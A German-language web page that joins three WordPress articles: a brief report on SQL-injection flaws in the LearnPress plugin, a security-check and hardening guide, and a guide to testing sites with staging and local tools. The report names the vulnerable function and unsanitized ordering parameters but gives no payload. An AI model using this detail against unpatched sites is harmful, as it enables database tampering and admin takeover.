Gefährlich SQL-Injection-Schwachstelle in WordPress
Ende 2022 haben Forscher von Patchstack insgesamt drei kritische Sicherheitslecks in Learnpress entdeckt. Bei zweien handelt es sich um klassische SQL-Injection-Attacken, wobei eine der beiden eine Contributor-Rolle im CMS seitens des Angreifers erfordert. Die andere Schwachstelle kann ein Angreifer ohne jegliche Authentifizierung ausnutzen, sie ist demnach deutlich kritischer.
Eine SQL-Injection entsteht durch einen Fehler im Programmcode, der auf die SQL-Datenbank zugreift. Ein lokaler oder entfernter Angreifer kann dadurch SQL-Befehle ausführen. Je nach Applikation und Datenbankkonfiguration kann er so die Datenbank auslesen, Daten modifi- zieren oder Einträge aus der Datenbank löschen. Die konkrete SQL-Injection-Attacke im Learnpress-Plugin hat zur Folge, dass ein entfernter Angreifer beispielsweise neue Konten anlegen kann. Unter anderem kann er so auch einen Administrator-Zugang erstellen und damit weit-reichende Kontrolle erlangen.
Der Programmierfehler befindet sich in der execute-Funktion der Datei inc/databases/class‑lp‑db.php. Die Funktion verarbeitet die Variable $filter, die SQL-Filteranweisungen enthalten kann.
Diese Variable ist ein Objekt der Klasse LP_Filter, die die Variable order_by und order enthält. Deren Werte kann ein Angreifer modifizieren. Die execute-Funktion verwendet diese Strings zum Zusammenbauen der Zeichenkette $ORDER_BY. $ORDER_BY wird dabei direkt eingefügt, ohne den String zuvor auf problematische Zeichen zu überprüfen.
Die Lösung dieses Problems besteht nun darin, $ORDER_BY zu filtern. Das übernimmt die Funktion sanitize_sql_orderby (Listing 1). Die PHP-Funktion preg_match überprüft, ob der übergebene Text einem Muster entspricht, das per regulärem Ausdruck definiert ist.
Mithilfe dieses Patchs wird die SQL-Injection-Attacke vereitelt.
Website Sicherheits-Check: Sichere deine Webseite gegen Malware und Spam
Es ist keine große Überraschung, dass Sicherheit ein wichtiges Thema für Webentwickler und Betreiber von Webseiten geworden ist. Da das Internet immer beliebter wird und die neue Methode zur Kommunikation, Recherche und zum Einkaufen ist, sind Sicherheitschecks für Webseiten entscheidend, um die Verbreitung von Malware und Spam zu verhindern.
Egal ob du einen kleinen persönlichen Blog oder einen riesigen multinationalen Online-Shop betreibst, die Gefahr, gehackt zu werden, ist immer gegeben. Einige Leute werden deine Webseite verunstalten und Malware darin einbetten, versuchen, deine Daten oder die deiner Kunden zu stehlen und wichtige Inhalte auf deinem Server zu löschen. Du musst dich und deine sensiblen Informationen schützen.
Lass uns genau herausfinden, wie sicher deine Webseite im Moment ist. Außerdem geben wir dir ein paar Tipps, wie du die niedrig hängenden Früchte entfernen kannst, die sich Malware-Autoren zunutze machen. WordPress ist von Haus aus sicher, aber es braucht ein wenig Arbeit, um es komplett zu reparieren.
Schau dir unseren Video-Leitfaden zur Überprüfung der Sicherheit deiner Webseite an
Webseiten Sicherheitscheck: Warum ist es wichtig?
Du denkst vielleicht, dass deine Webseite so klein und unwichtig ist, dass sich niemand die Mühe machen würde, sie ins Visier zu nehmen. Oder vielleicht hast du noch nie über Sicherheit nachgedacht und denkst, dass es nicht wichtig genug ist, um sich damit zu beschäftigen.
Was könnte also passieren, wenn deine Webseite ein unerwünschtes Ereignis erlebt? Es ist nicht nur ein einfaches Ärgernis, das leicht durch das Ändern deines Passworts gelöst werden kann.
In deine Webseite könnte Code eingeschleust sein, der Besucher dazu bringt, sich mit Malware zu infizieren, die extrem schwer zu finden und zu entfernen sein könnte.
Deine kritischen Seiten können verunstaltet, ausgeblendet oder mit Links zu illegalen Webseiten gefüllt sein.
Es kann zur Löschung von Inhalten wie Blogposts und Seiten führen.
Sensible Daten wie Login- oder Kreditkarteninformationen, die dir, deinen Nutzern oder Kunden gehören, können gestohlen und online verkauft werden.
Angriffe können sich auf andere Webseiten auf deinem Server ausbreiten.
Wenn Google Malware auf deiner Webseite entdeckt, wird es den Zugang blockieren und sie aus den Suchergebnissen entfernen, was deine Bemühungen zur Suchmaschinenoptimierung (SEO) zunichte macht.
Der Benutzername und das Passwort des Admin-Accounts könnten geändert werden, sodass du überhaupt keinen Zugriff mehr auf dein Backend hast.
Und während du vielleicht sagst, dass deine Webseite nicht wichtig genug ist, sind nicht alle Angriffe gezielt. Viele WordPress Angriffe sind automatisiert – ein Bot sucht deine Webseite nach Schwachstellen ab und startet einen Angriff ohne menschliches Zutun.
Hacking ist weit verbreitet, aber was sind die häufigsten Schwachstellen, die Hacker ausnutzen, um in deine Webseite einzubrechen?
Du stellst dir vielleicht vor, dass es ein schwieriger Prozess ist, in eine Webseite einzudringen, der Tage oder Wochen an Arbeit und ein enormes Wissen über Computer, Codierung und Server erfordert. Diese Situation könnte für gezielte Versuche zutreffen, die Verteidigungsanlagen einer großen, gut geschützten Webseite zu überwinden, aber die Geschichte sieht ganz anders aus, wenn es um kleine WordPress Domains geht.
Die überwiegende Mehrheit der Angriffe auf WordPress sind erfolgreich, weil die Leute leicht zu erratende Passwörter benutzen und ihre Themes und Plugins nicht aktualisieren. Hacker brechen in die meisten solcher Webseiten mit Hilfe von automatisierten Programmen ein.
Passwort-Cracking ist die einfachste Form des Hackens, die möglich ist, aber es ist so verbreitet, weil es funktioniert. Viele Leute belassen ihr WordPress Login auf dem Standard „admin“, was die Hälfte des Rätselraten ausschaltet, und benutzen dann ein einfaches, erratbares Passwort.
Wenn das nicht funktioniert, nutzen Hacker häufige Schwachstellen in beliebten Plugins oder veralteten Versionen von WordPress aus. Deshalb ist es so wichtig, alles auf dem neuesten Stand zu halten.
Es gibt viele kompliziertere, komplexere Wege, um in eine Webseite „einzubrechen“. Dennoch nutzen die meisten WordPress-Angriffe die niedrig hängenden Früchte eines unsicheren Passworts und veralteter Software, die es extrem einfach macht, auf deine Webseite zu gelangen.
Wie man einen Sicherheitscheck der Webseite durchführt
Der erste Schritt zur Absicherung deiner Webseite: Feststellen, wie sicher deine Webseite bereits ist. Gibt es irgendwelche eklatanten Schwachstellen in deinem Backend, die du sofort flicken musst, oder irgendwelche einfachen Korrekturen, die du jetzt vornehmen kannst?
Verwende ein Online Tool
Eine schnelle und einfache Möglichkeit, deine Webseite auf Malware und Schwachstellen zu überprüfen, ist die Verwendung eines Online-Scanners. Diese scannen deine Webseite aus der Ferne und identifizieren häufige Probleme. Es ist super bequem, da es keine Software oder Plugins benötigt und nur ein paar Sekunden dauert.
Es gibt Dutzende von Online-Scannern zur Auswahl und wir werden ein paar weitere in unserem Tool-Bereich weiter unten auflisten, aber für den Moment nehmen wir einen beliebten, der einfach zu benutzen ist: Sucuri SiteCheck.
Sucuri SiteCheck.
Dieses Tool ist eine gute Wahl, denn du kannst das Sucuri Plugin installieren und dich direkt an die Behebung der Probleme machen, die es erkennt.
Sobald du deine Webseite gescannt hast, gleicht Sucuri sie mit Blocklisten ab, sucht nach offensichtlichen Problemen wie eingeschleustem Spam oder veralteter Software und scannt kurz jeden Code, auf den es zugreifen kann, auf Malware. Sucuri bietet auch einige Vorschläge, um deine Webseite gegen Angriffe zu schützen.
Scannen einer Webseite mit dem Sucuri Plugin.
Tools wie dieses sind ein hervorragender Ausgangspunkt für die Erkennung versteckter Malware und anderer Probleme.
Scanne deine Webseite mit einem WordPress Plugin
Während Online-Scanner gut genug funktionieren, ist es noch besser, ein Plugin zu installieren, das in der Lage ist, tief in die Wurzel deines Codes zu graben und Schwachstellen oder schwer zu entdeckende Malware herauszufischen.
Wir haben bereits Sucuri als eine Option erwähnt. Es gibt auch zwei noch populärere Sicherheits Plugins: All in One WP Security & Firewall und das meist heruntergeladene im Repository, Wordfence Security.
Sobald du das Plugin deiner Wahl installiert hast, wird es dich wahrscheinlich anweisen, sofort einen Scan durchzuführen. Der Vorteil dieser Plugins gegenüber Remote-Scannern ist, dass sie Malware entfernen und Änderungen automatisch vornehmen können.
Suche nach seltsamen Änderungen
Wenn du den Verdacht hast oder weißt, dass deine Webseite mit Malware infiziert wurde, kann es manchmal schwierig sein, die Quelle zu lokalisieren. Hier sind ein paar unerklärliche Änderungen, die dir auffallen könnten, sowie die Dateien, auf die es Hacker typischerweise abgesehen haben:
Plötzliche Links zu fremden Webseiten, die du nicht selbst hinzugefügt hast
Neue Artikel und Seiten, die du nicht erstellt hast, oder der Inhalt bestehender Seiten ändert sich plötzlich
Änderungen an Einstellungen, die du nicht vorgenommen hast
Ein neuer Benutzer, besonders einer mit hohen Rechten, den du nicht hinzugefügt hast
Plugins oder Themes, die du nicht installiert hast
Malware kann oft bösartigen Code in deine Dateien einschleusen. Überprüfe Plugin- und Theme-Dateien, den Ordner wp-content/uploads, WordPress-Core-Dateien, die sich in einem falschen Verzeichnis befinden, wp-config.php und .htaccess. Du solltest ein Backup deiner Webseite machen und den Code verstehen, bevor du sensible Änderungen vornimmst.
Wenn du dich mit FTP mit deiner Webseite verbindest, kannst du nach kürzlich geänderten Dateien sortieren, um Code zu finden, der dort nicht sein sollte.
Wenn deine Webseite regelmäßig mit Malware infiziert wird und du keine Ursache in den Dateien finden kannst, kann das Problem bei deinem Server oder einer anderen Webseite auf deinem Server liegen.
Stelle sicher, dass alles auf dem neuesten Stand ist
Wie wir bereits erwähnt haben, ist veraltete Software der mit Abstand häufigste Infektionsvektor in WordPress. Wenn es nur eine Sache gibt, die du tun kannst, um deine Webseite sicher zu halten, dann sollte es sein, WordPress auf dem neuesten Stand zu halten.
Der einfachste Weg, den Status aller Software auf deiner Webseite zu überprüfen, ist das Dashboard > Updates, welches dich darauf hinweist, wenn dein Core, Theme oder Plugins veraltet sind.
WordPress Updates
Da WordPress nun seit Version 5.5 automatische Updates durchführt, sollte nichts veraltet sein, es sei denn, du hast eine veraltete Version von WordPress. Wenn das nicht der Fall ist, kannst du alles von diesem Bildschirm aus aktualisieren.
Wenn du weißt, dass es eine neue Version von WordPress gibt, sie aber nicht angezeigt wird, klicke auf den Button Erneut prüfen unter Aktuelle Version.
Du kannst auch auf den Seiten Plugins > Installierte Plugins oder Erscheinungsbild > Themes nach Updates suchen.
Important
Es ist wichtig, PHP auf dem neuesten Stand zu halten, besonders wenn du eine Version älter als 7.3 verwendest, da es erhebliche Sicherheitslücken aufweisen kann.
Sichere Konten und Passwörter
Ein schwaches Passwort für deinen Hauptaccount macht es jedem leicht, mit Brute-Force-Programmen in deine Webseite einzubrechen, ihnen Administrator-Zugang zu geben und die Möglichkeit, alles zu ändern.
Während ein kompliziertes Passwort mühsam zu merken ist und das Einloggen weniger bequem macht, ist es noch unangenehmer, wenn du deine Webseite nach einem Hack wiederherstellen musst. Es lohnt sich auf jeden Fall, ein sichereres Passwort zu verwenden, selbst wenn du es aufschreiben musst.
Dein Passwort sollte eine Mischung aus Groß- und Kleinbuchstaben, Zahlen und Symbolen verwenden. Am besten wäre es, wenn du es nicht auf Wörterbuchwörtern oder persönlichen, erratbaren Informationen wie deiner Adresse oder dem Namen eines Familienmitglieds basieren würdest.
Im besten Fall ist dein Passwort eine lange, verworrene Kette aus zufälligen Zeichen. Wir empfehlen dir dringend, einen Passwort-Manager zu verwenden. Verwende eine Webseite wie 1Password oder LastPass, um ein sicheres, nicht zu erratendes Passwort zu generieren.
Generiere ein sicheres Passwort mit LastPass.
Du kannst dein Passwort und deine E-Mail in WordPress aktualisieren, indem du zu Benutzer > Alle Benutzer oder direkt zu Benutzer > Profil gehst. Scrolle nach unten und finde E-Mail unter Kontaktinformationen und Neues Passwort unter Kontoverwaltung.
Ein neues Passwort in WordPress setzen
Wenn du auf der Benutzerseite bist, schaue dir alle deine Benutzer an und stelle sicher, dass niemand dabei ist, den du nicht kennst oder der unangemessene Berechtigungen hat. Du solltest jeden nicht identifizierten Benutzer mit Admin-Rechten sofort entfernen.
Wenn dein SSL-Zertifikat veraltet ist, merkst du das in der Regel sofort; Browser wie Google Chrome blockieren den Zugriff auf deine Webseite mit einer großen Warnung über das abgelaufene Zertifikat. Wenn du dir nicht sicher bist oder bereits diesen Fehler bekommst, überprüfe dein SSL Zertifikat, um zu sehen, ob es auf dem neuesten Stand ist und ob du die neueste Version von SSL/TLS verwendest.
Wenn du eine Webseite besuchst, siehst du in den meisten Browsern ein Schloss-Symbol in der Adressleiste. Wenn dein Zertifikat abgelaufen ist, kann dieses Schloss rot sein oder einen Schrägstrich haben.
Klicke auf das Schlosssymbol und dann erneut, um Informationen zum Zertifikat zu erhalten, einschließlich des Ablaufdatums.
Überprüfe das SSL Zertifikat einer Webseite.
Du kannst auch einen SSL-Zertifikatschecker verwenden, um deine Webseite zu scannen und sicherzustellen, dass dein Zertifikat nicht abgelaufen ist und keine Schwachstellen in deinem SSL-Protokoll vorhanden sind.
Häufige Schwachstellen
Viele WordPress Seiten sind voll von winzigen Angriffsvektoren, die zwar harmlos erscheinen, aber mehr Informationen liefern können, als du teilen willst.
Eine sichtbare WordPress-Version in deinem Frontend verrät Hackern genau, welche Schwachstellen auf deiner Webseite vorhanden sind. Besonders, wenn du eine veraltete Version von WordPress verwendest, solltest du diese Informationen verstecken.
In deinem Backend findest du Dateieditoren unter Appearance > Theme Editor und Plugins > Plugin Editor.
Hinzufügen von Code zum Theme Editor
Diese Tools sind zwar sehr praktisch, aber es macht sie auch für jeden geeignet, der deine Webseite hackt, um etwas zu kaputt zu machen, also solltest du sie vielleicht abschalten. Du kannst dies tun, indem du diese Funktion in die wp-config.php einfügst:
define( 'DISALLOW_FILE_EDIT', true );
SQL-Injektionen sind eine gängige Methode, um in eine Webseite einzubrechen. Wenn du Formulare oder andere Benutzereingaben hast, schränke die Verwendung von Sonderzeichen ein und erlaube nur sichere, gebräuchliche Dateitypen, die hochgeladen werden können.
Wie du deine Webseite sicher machst: Tipps und Tools
Wenn deine Webseite mit Malware infiziert ist, sollte ein gutes Sicherheits-Plugin ausreichen, um es zu entfernen. Und wir haben oben ein paar Sicherheitslücken beschrieben, auf die du achten solltest.
Schau dir unseren Video-Leitfaden zur Absicherung deiner Webseite an
Wir haben noch ein paar andere schnelle Tipps, um deine Webseite zu sichern und eine Infektion zu verhindern, bevor sie passieren kann. Die meisten dieser Tipps kannst du in wenigen Minuten umsetzen, so dass sie auch dann einfach einzurichten sind, wenn du dich mit WordPress und Websicherheit nicht auskennst.
Wähle einen sicheren Host
Wenn Hacker nach einem Weg auf deine Webseite suchen, wenden sie sich oft an den Server, um nach Exploits zu suchen. Es gibt viele billige Hosts, aber sie investieren nicht immer in die sichersten Server.
Shared Hosting kann ein Vektor für Infektionen sein. Wenn eine Webseite mit Malware infiziert ist, kann es sich potenziell auf alle Webseiten auf dem Server ausbreiten. Du könntest also mit einer Webseite voller Viren und SEO-Spam enden, und es wäre nicht einmal deine Schuld.
Deshalb ist es wichtig, dass du einen Hoster wählst, der sich um die Sicherheit kümmert und in sichere Server investiert. Du wirst immer noch Arbeit investieren müssen, um deine Webseite zu sichern, aber auf Server-Ebene sind deine Daten sicher.
Aktiviere die Zwei-Schritt-Authentifizierung (2FA)
Die zweistufige Authentifizierung (auch bekannt als Zwei-Faktor-Authentifizierung oder 2FA) fügt einen weiteren Anmeldeschritt hinzu. Neben Benutzername und Passwort brauchst du oder jemand, der sich für dich ausgibt, noch eine weitere Information: einen einzigartigen Zusatzcode.
Es könnte ein Zahlencode sein, der an dein Telefon geschickt wird, was deinen WordPress-Account durch Brute-Force nahezu unknackbar machen kann. Alternativ kann es auch eine E-Mail-Verifizierung oder eine Information sein, die nur du kennst.
Während es keine eingebaute Möglichkeit gibt, die Zwei-Faktor-Authentifizierung zu aktivieren, fügen viele Plugins die Funktionalität zu WordPress hinzu.
Kinsta bietet die Zwei-Faktor-Authentifizierung für alle Kunden an. Wenn du kein Kinsta-Kunde bist, kannst du auch das bereits erwähnte Wordfence Plugin mit integrierter 2FA nutzen. Du kannst auch andere Tools für die Sicherheit deiner Webseite ausprobieren, wie z.B. das Two-Factor Plugin für E-Mail-Codes oder Duo, um eine Zwei-Faktor-Authentifizierung per Telefon über eine App einzurichten.
Duo Zwei-Faktor-Authentifizierung Plugin
Mache jeden Tag Backups
Ein Backup deiner Webseite kann sie nicht vor Hackern schützen, aber falls doch einmal etwas passiert, ist ein Backup von unschätzbarem Wert. Es kann den Unterschied ausmachen, ob du Wochen oder sogar Jahre an Arbeit verlierst oder ob du einfach ein Backup von vor dem Hack wiederherstellst.
Wenn du bei Kinsta bist, sichern wir dich mit täglichen automatischen Backups ab, die zwei Wochen lang gespeichert werden (30 Tage für diejenigen mit Kinstas Agenturpartnerprogramm). Zusätzlich kannst du fünf manuelle Backups und ein herunterladbares Backup pro Woche erstellen und es gibt optionale Add-Ons, um stündlich Backups zu erstellen oder in die Cloud zu exportieren.
Plugins wie UpdraftPlus können ebenfalls helfen. Am besten ist es, einen Dienst zu wählen, der mindestens täglich ein Backup erstellt, um den Datenverlust zu minimieren.
Verwende eine Web Application Firewall
Eine Web Application Firewall (WAF) filtert mit strengen Regeln den eingehenden Traffic und blockiert IPs, die bekanntermaßen mit Hacker- oder DDoS-Angriffen in Verbindung gebracht werden. Es verhindert, dass viele Angriffe deinen Server überhaupt erreichen.
Obwohl du WAFs auf Serverebene einsetzen kannst, ist es am einfachsten, einen Cloud-basierten Service zu kaufen, wie zum Beispiel von Cloudflare oder Sucuri.
Verbindung über SSH oder SFTP
Manchmal musst du dich per FTP mit deiner Webseite verbinden, um dort Dateien hinzuzufügen oder zu ändern. Es ist immer besser, SFTP gegenüber FTP zu verwenden; der Unterschied ist einfach: SFTP ist sicher und FTP ist es nicht.
Bei FTP sind deine Daten nicht verschlüsselt. Wenn es jemandem gelingt, die Verbindung zwischen dir und deinem Server abzufangen, kann er alles sehen, von deinen FTP-Zugangsdaten bis zu den Dateien, die du hochlädst. Verbinde dich immer mit SFTP.
Du könntest auch einen SSH-Zugang in Betracht ziehen, der es dir erlaubt, dich mit einer Aufforderung zu verbinden und deine Webseite direkter zu verwalten. Es ist sicher und kann einfache Aufgaben aus der Ferne erledigen. Unser Guide zu SSH kann dir helfen, wenn du nicht weiterkommst.
Verhindere DDoS-Attacken
DDoS-Attacken verlangsamen deine Webseite zu einem Kriechgang, indem sie deinen Server mit tausenden von gefälschten Anfragen überschwemmen und so verhindern, dass potenzielle Leser oder Kunden auf sie zugreifen können. Hier sind ein paar Tipps, um sie zu stoppen, bevor sie passieren:
Habe einen Plan für den Fall, dass ein DDoS-Angriff zuschlägt. Du willst nicht in Panik geraten, wenn du deinen Host alarmieren und die Attacke stoppen musst.
Verwende eine Web Application Firewall, die möglicherweise gefälschten Traffic erkennen kann.
Brute-Force-Angriffe können ähnlich wie DDoS-Attacken sein, aber das Ziel ist es, dein Admin-Passwort zu erraten und in deine Webseite einzubrechen, anstatt deinen Server zum Absturz zu bringen. Trotzdem können sie auch deine Webseite ausbremsen.
Auch hier kann eine WAF Bot-Traffic und krasse Brute-Force-Versuche herausfiltern.
Verwende eine zweistufige Authentifizierung für deinen Admin-Account.
Richte ein Aktivitätsprotokoll ein und behalte unautorisierte Login-Versuche im Auge.
Hast du ein Aktivitätsprotokoll installiert und überwachst du es auf ungewöhnliche Änderungen?
Verwenden du und alle Benutzer mit hohen Privilegien sichere Passwörter und Zwei-Faktor-Authentifizierung? Sind alle Emails korrekt?
Sind WordPress, seine Themes und Plugins sowie die zugrunde liegenden Systeme wie PHP auf dem neuesten Stand?
Ist dein SSL Zertifikat sicher und auf dem neuesten Stand?
Hast du deine Webseiten, Einstellungen und Dateien auf unerklärliche Änderungen, das Löschen oder Hinzufügen von Inhalten oder Links, die du nicht hinzugefügt hast, überprüft?
Hast du nach neuen Benutzern gesucht, die du nicht hinzugefügt hast?
Sind Formulare, Kommentarboxen und andere Quellen für Benutzereingaben gesichert? (Verbiete Sonderzeichen und beschränke Datei-Uploads auf bekannte Dateitypen).
Hast du xmlrpc.php und die REST API deaktiviert, um DDoS-Angriffe zu verhindern?
Hast du die Bearbeitung von Themes und Plugins im Dashboard deaktiviert?
Hast du einen täglichen Backup-Service eingerichtet?
Hast du eine Web Application Firewall eingerichtet?
Zusammenfassung
Die Sicherheit einer Webseite ist keine Nebensache. Wenn du dich also noch nicht darum kümmerst, ist es jetzt an der Zeit, es zu einer Priorität zu machen. Wenn du gehackt wirst, ist das nicht nur ärgerlich – es kann in beschädigter SEO, verheerendem Datenverlust, verlorenem Vertrauen der Nutzer und Malware enden, die immer wieder zurückkommt.
Du musst kein erfahrener Entwickler sein, um ein paar zusätzliche Schritte zu unternehmen, um deine Webseite zu sichern. Und das beginnt mit einem ordentlichen Sicherheitscheck der Webseite. Selbst etwas so Einfaches wie die Wahl eines besseren Passworts oder der Wechsel zu einem sichereren Host kann den Unterschied ausmachen.
Sparen Sie Zeit und Kosten und maximieren Sie die Leistung Ihrer Seite mit Integrationen auf Unternehmensebene im Wert von über 275$, die in jedem Managed WordPress Plan enthalten sind. Dazu gehören ein leistungsstarkes CDN, DDoS-Schutz, Malware- und Hacking-Abwehr, Edge-Caching und die schnellsten CPU-Maschinen von Google. Legen Sie los – ohne langfristige Verträge, mit Migrationsunterstützung und einer 30-Tage-Geld-zurück-Garantie.
So testen Sie Ihre WordPress-Site auf Funktionalität, Geschwindigkeit und Sicherheit
Warum sind WordPress-Tests wichtig?
Es gibt viele Vorteile, wenn du deine WordPress-Website regelmäßig testest. Wie bereits erwähnt, kannst du mit dem Design und den Elementen der Benutzeroberfläche (UI) experimentieren, ohne dass dies Auswirkungen auf deine Live-Site hat.
So kannst du deine aktuelle Website beibehalten und den Geschäftsbetrieb aufrechterhalten, während du neue Ideen ausprobierst. Wenn in der Testumgebung etwas schief geht, musst du dir keine Sorgen über die Auswirkungen machen, die ein Ausfall auf deinen Webverkehr und deine Einnahmen haben könnte.
Andererseits kannst du deine WordPress-Website auch testen, um Probleme zu erkennen, die Besucher/innen haben könnten, wenn sie versuchen, deine Seiten aufzurufen. Zum Beispiel kann es sein, dass deine Seite in einem bestimmten Browser langsam läuft oder dass dein Menü auf mobilen Geräten nicht richtig angezeigt wird.
Außerdem kann eine Testumgebung eine gute Möglichkeit sein, um Sicherheitslücken zu vermeiden. Vielleicht möchtest du neue Plugins und Themes ausprobieren, bevor du sie auf deiner Website installierst. In der Zwischenzeit kannst du Updates auf deiner Testseite durchführen, um sicherzustellen, dass sie sicher sind.
Während viele Anfänger/innen davon profitieren können, mit WordPress in einem sicheren, privaten Umfeld zu experimentieren, ist das Testen auch für fortgeschrittene Entwickler/innen sehr wichtig. Mit den richtigen Tools können Entwickler/innen eine permanente Testumgebung einrichten, um die Funktionalität ihrer Produkte zu testen, bevor sie sie der Öffentlichkeit zugänglich machen.
Was sind die gängigsten Arten von Tests?
Da du nun weißt, warum es wichtig ist, WordPress sicher zu testen, werfen wir einen Blick auf einige der gängigsten Methoden.
Funktionstests. So kannst du dir ein genaues Bild davon machen, wie sich die Nutzer/innen auf deiner Seite bewegen. Du kannst zum Beispiel überprüfen, ob Formulare, Buttons und Checkout-Seiten richtig funktionieren.
Sicherheitstests. Dazu gehört die Analyse der Sicherheitsmechanismen auf deiner Website, wie SSL-Zertifikate, HTTPS, Web Application Firewalls und mehr. Sie hilft dir, sensible Daten zu schützen, böswillige Angriffe zu verhindern und WordPress-Schwachstellen zu erkennen.
Unabhängig davon, welche Art von Website du betreibst, solltest du dir angewöhnen, regelmäßig Funktions-, Leistungs- und Sicherheitstests durchzuführen.
Best Practices für WordPress-Tests
Es ist wichtig, den Wert der Tests deiner Website in verschiedenen Umgebungen zu erkennen. Wenn du den Unterschied zwischen den verschiedenen Umgebungen kennst, ist es einfacher, die richtige Option für deine Bedürfnisse zu wählen.
Eine lokale Umgebung wird auf deinem eigenen Computer gehostet. Daher hat nichts, was du dort tust, Auswirkungen auf deine Live-Site. Für den allgemeinen Gebrauch bietet sie eine gute Möglichkeit, neue Funktionen und Features zu testen. Für Entwicklerinnen und Entwickler ist eine lokale Umgebung der ideale Ort, um Bugs und Fehler in deinem Code zu finden.
Eine Staging-Umgebung hingegen bietet eine Kopie der Daten deiner Website auf einem Server (und nicht auf einem lokalen Rechner). Sie ist der ideale Ort, um größere Versions-Updates, Konfigurationsänderungen und Datenbankmigrationen durchzuführen. Wenn du Websites für Kunden entwirfst, eignet sich eine Staging-Site außerdem gut als Demo-Site, um den Kunden zu zeigen, wie die Website aussehen wird.
Wie du Testumgebungen einrichtest
Jetzt, wo du die verschiedenen Arten von Testumgebungen besser kennst, schauen wir uns an, wie du sie einrichtest!
So richtest du eine Testumgebung mit einer Staging-Site ein
Wie bereits erwähnt, ist eine Staging-Site im Grunde eine vollständige Kopie deiner Live-Website. Normalerweise wird sie auf demselben Server gehostet wie deine Live-Website. Der einzige Unterschied besteht darin, dass Besucher/innen nicht auf sie zugreifen können.
Das Beste am Staging ist, dass es einem realen Aufbau folgt. So kannst du genau nachvollziehen, wie sich die Kunden auf deinen Seiten bewegen.
Du kannst auf deine Staging-Site zugreifen, indem du dich in dein MyKinsta-Dashboard einloggst. Wähle einfach deine Website aus der Liste aus. Oben auf dem Bildschirm kannst du dann über das Dropdown-Menü von Live zu Staging wechseln:
Eine Staging-Site mit Kinsta einrichten
Denke daran, dass es bis zu fünfzehn Minuten dauern kann, bis deine Staging-Site zum ersten Mal erstellt wird. Danach wird sie als Subdomain deiner Hauptdomain existieren (beide nutzen denselben Server).
Sobald du bereit bist, die Änderungen auf deine Live-Website zu übertragen, kannst du einfach die Schaltfläche Push-Umgebung in deinem Dashboard verwenden.
Wie du eine lokale Testumgebung einrichtest
Eine lokale Umgebung funktioniert ähnlich wie eine Staging-Site, allerdings musst du die Umgebung nicht extern hosten. Stattdessen befindet sich deine lokale Umgebung auf einem lokalen Rechner (meistens auf deinem Computer).
Um eine WordPress-Testumgebung lokal zu installieren, musst du dir einen AMP-Stack für deinen Computer besorgen. Diese Software (Apache, MySQL und PHP) wird verwendet, um deine echte WordPress-Website zu imitieren.
Einige der beliebtesten Möglichkeiten, WordPress lokal zu installieren, sind WAMP und XAMPP. Der einfachste Weg ist jedoch die Verwendung von DevKinsta:
Verwende DevKinsta, um eine lokale Umgebung zu erstellen
DevKinsta ist ein kostenloses lokales Entwicklungstool für WordPress Single oder Multisite. Mit DevKinsta erhältst du Zugang zu einer Vielzahl von Datenbank- und E-Mail-Verwaltungstools. Außerdem lässt es sich nahtlos in MyKinsta integrieren (du musst allerdings kein Kinsta-Kunde sein, um DevKinsta zu nutzen).
Der Installationsprozess unterscheidet sich leicht von Betriebssystem zu Betriebssystem, aber du kannst bei Bedarf die vollständige Installationsanleitung für DevKinsta einsehen. Anschließend kannst du Docker Desktop installieren, um Container für das lokale WordPress zu erstellen.
Sobald du DevKinsta und Docker erfolgreich installiert hast, kannst du deine lokale Website erstellen. Du kannst entweder eine neue WordPress-Site erstellen, eine bestehende Site von Kinsta importieren oder eine eigene Site erstellen:
Eine lokale Website mit DevKinsta erstellen
Wähle einfach deine bevorzugte Option. Wenn du eine Website von Kinsta importierst, musst du die richtige Website für den Import auswählen und deine Anmeldedaten eingeben. Dann wirst du zum Bildschirm mit den Website-Informationen weitergeleitet, der wie ein Dashboard für deine lokale Umgebung funktioniert.
Du kannst die Kinsta-API auch nutzen, um eine neue WordPress-Seite/Installation zu erstellen, ohne auf DevKinsta zuzugreifen.
So testest du die Funktionalität deiner WordPress-Website (5 Funktionen)
Sehen wir uns nun fünf Möglichkeiten an, wie du die Funktionalität deiner WordPress-Website testen kannst. Das Beste an den Funktionstests ist, dass du sie direkt in deiner lokalen Umgebung oder mit DevKinsta durchführen kannst (im Gegensatz zu anderen Testarten, bei denen deine Website live sein muss).
Cross-Browser-Unterstützung
Es ist wichtig, deine WordPress-Website in verschiedenen Browsern zu testen, um zu sehen, wie deine Website für alle Besucher aussieht. Das liegt daran, dass verschiedene Browser unterschiedlichen Code verwenden. Daher behandelt und zeigt jeder Browser Elemente auf seine eigene Weise an.
Ein Nutzer, der deine Website mit Chrome aufruft, sieht sie vielleicht anders als ein Nutzer, der deine Website mit Firefox besucht. Und obwohl 3,2 Milliarden Internetnutzer/innen im Jahr 2021 Chrome als Hauptbrowser bevorzugen, nutzen viele weiterhin Firefox, Edge, Opera und Safari.
Vielleicht möchtest du herausfinden, welche Browser bei deinen Besuchern beliebt sind, um deine Seite speziell für diese Browser zu optimieren. Wenn du Google Analytics verwendest, kannst du diese Informationen in deinen Besucherberichten finden.
Dann kannst du deine Website mit einem Tool wie BrowserStack auf Browserunterstützung testen:
Browserübergreifende Tests mit BrowserStack durchführen
Mit BrowserStack kannst du deine Website in 3000 verschiedenen Browsern testen, darunter die neuesten Versionen von Edge, Safari, Firefox und Chrome. Du kannst auch eine kostenlose Testversion nutzen, bevor du dich für einen kostenpflichtigen Plan entscheidest.
Unit-Tests
Beim Unit Testing wird die kleinste Einheit einer Anwendung isoliert getestet. Das kann eine Funktion, eine Eigenschaft oder eine Methode sein. Diese Einheiten werden dann auf ihre Funktionstüchtigkeit untersucht, um sicherzustellen, dass sich die Anwendung wie erwartet verhält.
Du kannst Unit-Tests automatisch mit einem Drittanbieter-Tool wie Travis CI durchführen. Es ist jedoch schneller, die Tests lokal während der Entwicklung durchzuführen, als Änderungen vorzunehmen und darauf zu warten, dass Travis CI sie ausführt.
Du könntest zum Beispiel ein Theme oder ein Plugin einem Unit-Test unterziehen. Hierfür musst du Git, SVN, PHP und Apache installieren. Außerdem musst du dein Plugin fertig haben.
Um loszulegen, öffne DevKinsta, um deine lokale Entwicklungsumgebung zu starten. Installiere dann PHPUnit. Nun musst du die Testdateien für das Plugin mit folgendem Befehl erstellen:
bash
wp scaffold plugin-tests my-plugin
Jetzt kannst du die Testumgebung lokal initialisieren, indem du das Installationsskript ausführst:
Dieses Skript installiert eine Kopie von WordPress auf /tmp directory und in den WordPress Unit Testing Tools.
Im nächsten Schritt führst du die Plugin-Tests mit Hilfe von phpunit aus. Eine ausführliche Anleitung findest du in diesem Leitfaden zu Unit-Tests.
